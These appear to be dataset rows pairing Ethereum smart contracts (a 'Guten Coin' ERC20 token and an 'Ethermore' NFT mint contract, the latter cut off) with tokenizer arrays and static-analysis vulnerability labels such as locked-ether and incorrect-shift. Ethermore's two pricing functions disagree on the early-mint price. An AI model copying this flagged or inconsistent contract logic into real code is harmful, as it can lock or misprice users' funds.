{'detectors': [{'check': 'write-after-write', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'incorrect-shift', 'impact': 'High', 'confidence': 'High'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 16147, 12740, 2620, 2487, 2278, 2581, 2063, 2475, 2546, 2549, 2497, 2620, 2581, 2050, 2475, 16409, 2575, 27531, 27814, 10790, 16068, 2278, 2620, 2050, 2683, 2278, 2487, 2063, 2620, 17788, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1022, 1012, 1014, 1026, 1014, 1012, 1023, 1012, 1014, 1025, 12324, 1005, 2918, 21084, 1011, 14017, 1013, 2918, 21084, 1012, 14017, 1005, 1025, 12324, 1000, 1012, 1013, 8945, 19658, 22571, 9541, 24206, 16150, 3686, 7292, 29521, 19848, 2100, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 7817, 1012, 14017, 1000, 1025, 3075, 21183, 12146, 1063, 27507, 16048, 4722, 5377, 12440, 1027, 1005, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,035
0x9619b3772faa448ef1bf682a75921eb0b2e10114
pragma solidity ^0.4.24; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract CappedToken is MintableToken { uint256 public cap; constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { require(totalSupply_.add(_amount) <= cap); return super.mint(_to, _amount); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract GutenCoin is CappedToken, PausableToken { string public constant name = "Guten Coin"; // solium-disable-line uppercase string public constant symbol = "GU"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase uint256 public constant INITIAL_SUPPLY = 0; uint256 public constant MAX_SUPPLY = 100 * 10000 * 10000 * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() CappedToken(MAX_SUPPLY) public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint whenNotPaused public returns (bool) { return super.mint(_to, _amount); } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint whenNotPaused public returns (bool) { return super.finishMinting(); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner whenNotPaused public { super.transferOwnership(newOwner); } /** * The fallback function. */ function() payable public { revert(); } }
0x6080604052600436106101325763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461013757806306fdde0314610160578063095ea7b3146101ea57806318160ddd1461020e57806323b872dd146102355780632ff2e9dc1461025f578063313ce5671461027457806332cb6b0c1461029f578063355274ea146102b45780633f4ba83a146102c957806340c10f19146102e05780635c975abb14610304578063661884631461031957806370a082311461033d578063715018a61461035e5780637d64bcb4146103735780638456cb59146103885780638da5cb5b1461039d57806395d89b41146103ce578063a9059cbb146103e3578063d73dd62314610407578063dd62ed3e1461042b578063f2fde38b14610452575b600080fd5b34801561014357600080fd5b5061014c610473565b604080519115158252519081900360200190f35b34801561016c57600080fd5b50610175610483565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101af578181015183820152602001610197565b50505050905090810190601f1680156101dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f657600080fd5b5061014c600160a060020a03600435166024356104ba565b34801561021a57600080fd5b506102236104de565b60408051918252519081900360200190f35b34801561024157600080fd5b5061014c600160a060020a03600435811690602435166044356104e4565b34801561026b57600080fd5b5061022361050a565b34801561028057600080fd5b5061028961050f565b6040805160ff9092168252519081900360200190f35b3480156102ab57600080fd5b50610223610514565b3480156102c057600080fd5b50610223610524565b3480156102d557600080fd5b506102de61052a565b005b3480156102ec57600080fd5b5061014c600160a060020a0360043516602435610587565b34801561031057600080fd5b5061014c6105d2565b34801561032557600080fd5b5061014c600160a060020a03600435166024356105db565b34801561034957600080fd5b50610223600160a060020a03600435166105f8565b34801561036a57600080fd5b506102de610613565b34801561037f57600080fd5b5061014c610681565b34801561039457600080fd5b506102de6106cf565b3480156103a957600080fd5b506103b261072e565b60408051600160a060020a039092168252519081900360200190f35b3480156103da57600080fd5b5061017561073d565b3480156103ef57600080fd5b5061014c600160a060020a0360043516602435610774565b34801561041357600080fd5b5061014c600160a060020a0360043516602435610791565b34801561043757600080fd5b50610223600160a060020a03600435811690602435166107ae565b34801561045e57600080fd5b506102de600160a060020a03600435166107d9565b60035460a060020a900460ff1681565b60408051808201909152600a81527f477574656e20436f696e00000000000000000000000000000000000000000000602082015281565b60055460009060ff16156104cd57600080fd5b6104d7838361080c565b9392505050565b60015490565b60055460009060ff16156104f757600080fd5b610502848484610872565b949350505050565b600081565b601281565b6b204fce5e3e2502611000000081565b60045481565b600354600160a060020a0316331461054157600080fd5b60055460ff16151561055257600080fd5b6005805460ff191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600354600090600160a060020a031633146105a157600080fd5b60035460a060020a900460ff16156105b857600080fd5b60055460ff16156105c857600080fd5b6104d783836109e9565b60055460ff1681565b60055460009060ff16156105ee57600080fd5b6104d78383610a45565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a0316331461062a57600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600090600160a060020a0316331461069b57600080fd5b60035460a060020a900460ff16156106b257600080fd5b60055460ff16156106c257600080fd5b6106ca610b35565b905090565b600354600160a060020a031633146106e657600080fd5b60055460ff16156106f657600080fd5b6005805460ff191660011790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b60408051808201909152600281527f4755000000000000000000000000000000000000000000000000000000000000602082015281565b60055460009060ff161561078757600080fd5b6104d78383610bb9565b60055460009060ff16156107a457600080fd5b6104d78383610c9a565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a031633146107f057600080fd5b60055460ff161561080057600080fd5b61080981610d33565b50565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a038316151561088957600080fd5b600160a060020a0384166000908152602081905260409020548211156108ae57600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156108de57600080fd5b600160a060020a038416600090815260208190526040902054610907908363ffffffff610dc816565b600160a060020a03808616600090815260208190526040808220939093559085168152205461093c908363ffffffff610dda16565b600160a060020a0380851660009081526020818152604080832094909455918716815260028252828120338252909152205461097e908363ffffffff610dc816565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b600354600090600160a060020a03163314610a0357600080fd5b60035460a060020a900460ff1615610a1a57600080fd5b600454600154610a30908463ffffffff610dda16565b1115610a3b57600080fd5b6104d78383610ded565b336000908152600260209081526040808320600160a060020a038616845290915281205480831115610a9a57336000908152600260209081526040808320600160a060020a0388168452909152812055610acf565b610aaa818463ffffffff610dc816565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600354600090600160a060020a03163314610b4f57600080fd5b60035460a060020a900460ff1615610b6657600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b6000600160a060020a0383161515610bd057600080fd5b33600090815260208190526040902054821115610bec57600080fd5b33600090815260208190526040902054610c0c908363ffffffff610dc816565b3360009081526020819052604080822092909255600160a060020a03851681522054610c3e908363ffffffff610dda16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610cce908363ffffffff610dda16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600354600160a060020a03163314610d4a57600080fd5b600160a060020a0381161515610d5f57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610dd457fe5b50900390565b81810182811015610de757fe5b92915050565b600354600090600160a060020a03163314610e0757600080fd5b60035460a060020a900460ff1615610e1e57600080fd5b600154610e31908363ffffffff610dda16565b600155600160a060020a038316600090815260208190526040902054610e5d908363ffffffff610dda16565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3506001929150505600a165627a7a72305820b46da63b2ac2bae590c86f9bec7ccda6a8b1f7467221b0d833fa3aede00672810029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 16147, 2497, 24434, 2581, 2475, 7011, 2050, 22932, 2620, 12879, 2487, 29292, 2575, 2620, 2475, 2050, 23352, 2683, 17465, 15878, 2692, 2497, 2475, 2063, 10790, 14526, 2549, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 2219, 3085, 1008, 1030, 16475, 1996, 2219, 3085, 3206, 2038, 2019, 3954, 4769, 1010, 1998, 3640, 3937, 20104, 2491, 1008, 4972, 1010, 2023, 21934, 24759, 14144, 1996, 7375, 1997, 1000, 5310, 6656, 2015, 1000, 1012, 1008, 1013, 3206, 2219, 3085, 1063, 4769, 2270, 3954, 1025, 2724, 6095, 7389, 23709, 11788, 1006, 4769, 25331, 3025, 12384, 2121, 1007, 1025, 2724, 6095, 6494, 3619, 7512, 5596, 1006, 4769, 25331, 3025, 12384, 2121, 1010, 4769, 25331, 2047, 12384, 2121, 1007, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,036
0x9619dabdc2eb3679943b51afbc134dec31b74fe8
// SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "@openzeppelin/contracts/introspection/ERC165.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; contract Ethermore is Ownable, ERC165, ERC721 { // Libraries using Counters for Counters.Counter; using Strings for uint256; using SafeMath for uint256; // Private fields Counters.Counter private _tokenIds; string private ipfsUri = "https://ipfs.io/ipfs/"; // Public constants uint256 public constant MAX_SUPPLY = 15000; // Public fields bool public open = false; // This hash is the SHA256 output of the concatenation of the IPFS image hash data for all 15k Ethermore heroes. string public constant provenanceHash = "864c593d34087d67879f06fed08808afff24d34308bb61ec42780d90b4d732bf"; // This contract will then return a decentralised IPFS URI when tokenURI() is called. // Once all rounds are complete, lock() will be called to permanently set the URI of every token to the IPFS hosted one. string[5] public roundHash; // This value will be set by an admin to an IPFS url that will list the hash and CID of all Ethermore heroes. string public provenanceURI = ""; // After all rounds are complete, and provenance records updated, the contract will be locked by an admin and then // the state of the contract will be immutable for the rest of time. bool public locked = false; modifier notLocked() { require(!locked, "Contract has been locked"); _; } constructor() ERC721("Ethermore", "ETE") { _setBaseURI("https://ethermore.xyz/meta/"); ownerMint(50); } fallback() external payable { uint256 quantity = getQuantityFromValue(msg.value); mint(quantity); } // Public methods function mint(uint256 quantity) public payable { require(open, "Ethermore drop not open yet"); require(quantity > 0, "Quantity must be at least 1"); // Limit buys to 50 Ethermore if (quantity > 50) { quantity = 50; } // Limit buys that exceed MAX_SUPPLY if (quantity.add(totalSupply()) > MAX_SUPPLY) { quantity = MAX_SUPPLY.sub(totalSupply()); } uint256 price = getPrice(quantity); // Ensure enough ETH require(msg.value >= price, "Not enough ETH sent"); for (uint256 i = 0; i < quantity; i++) { _mintEthermore(msg.sender); } // Return any remaining ether after the buy uint256 remaining = msg.value.sub(price); if (remaining > 0) { (bool success, ) = msg.sender.call{value: remaining}(""); require(success); } } function getQuantityFromValue(uint256 value) public view returns (uint256) { uint256 totalSupply = totalSupply(); uint256 quantity = 0; uint256 priceOfOne = 0; for (uint256 i = 0; i < MAX_SUPPLY; i++) { if (totalSupply >= 2000) { priceOfOne = 0.04 ether; } else if (totalSupply >= 1000) { priceOfOne = 0.01 ether; } else { priceOfOne = 0.005 ether; } if (value >= priceOfOne) { totalSupply++; quantity++; value -= priceOfOne; } else { break; } } return quantity; } function getPrice(uint256 quantity) public view returns (uint256) { require(quantity <= MAX_SUPPLY); uint256 totalSupply = totalSupply(); uint256 totalPrice = 0; for (uint256 i = 0; i < quantity; i++) { if (totalSupply >= 2000) { totalPrice += 0.04 ether; } else { totalPrice += 0.01 ether; } totalSupply++; } return totalPrice; } function tokenOfOwnerPage(address owner, uint256 page) external view returns (uint256 total, uint256[12] memory Ethermore) { total = balanceOf(owner); uint256 start = page * 12; if (total > start) { uint256 countOnPage = 12; if (total - start < 12) { countOnPage = total - start; } for (uint256 i = 0; i < countOnPage; i ++) { Ethermore[i] = tokenOfOwnerByIndex(owner, start + i); } } } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(tokenId > 0 && tokenId <= totalSupply(), "URI query for nonexistent token"); uint256 round; if (tokenId > 2000) { round = 2; } else if (tokenId > 1000) { round = 1; } else { round = 0; } // Construct IPFS URI or fallback if (bytes(roundHash[round]).length > 0) { return string(abi.encodePacked(ipfsUri, roundHash[round], "/", tokenId.toString())); } // Fallback to centralised URI return string(abi.encodePacked(baseURI(), tokenId.toString())); } // Admin methods function ownerMint(uint256 quantity) public onlyOwner { require(!open, "Owner cannot mint after sale opens"); for (uint256 i = 0; i < quantity; i++) { _mintEthermore(msg.sender); } } function openSale() external onlyOwner { open = true; } function setBaseURI(string memory newBaseURI) external onlyOwner notLocked { _setBaseURI(newBaseURI); } function setIpfsURI(string memory _ipfsUri) external onlyOwner notLocked { ipfsUri = _ipfsUri; } function setRoundHash(uint256 _round, string memory _roundHash) external onlyOwner notLocked { roundHash[_round] = _roundHash; } function setProvenanceURI(string memory _provenanceURI) external onlyOwner notLocked { provenanceURI = _provenanceURI; } function lock() external onlyOwner { locked = true; } function withdrawEther() external onlyOwner { (bool success, ) = payable(owner()).call{value: address(this).balance}(""); require(success); } // Private Methods function _mintEthermore(address owner) private { _tokenIds.increment(); uint256 newItemId = _tokenIds.current(); _mint(owner, newItemId); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's 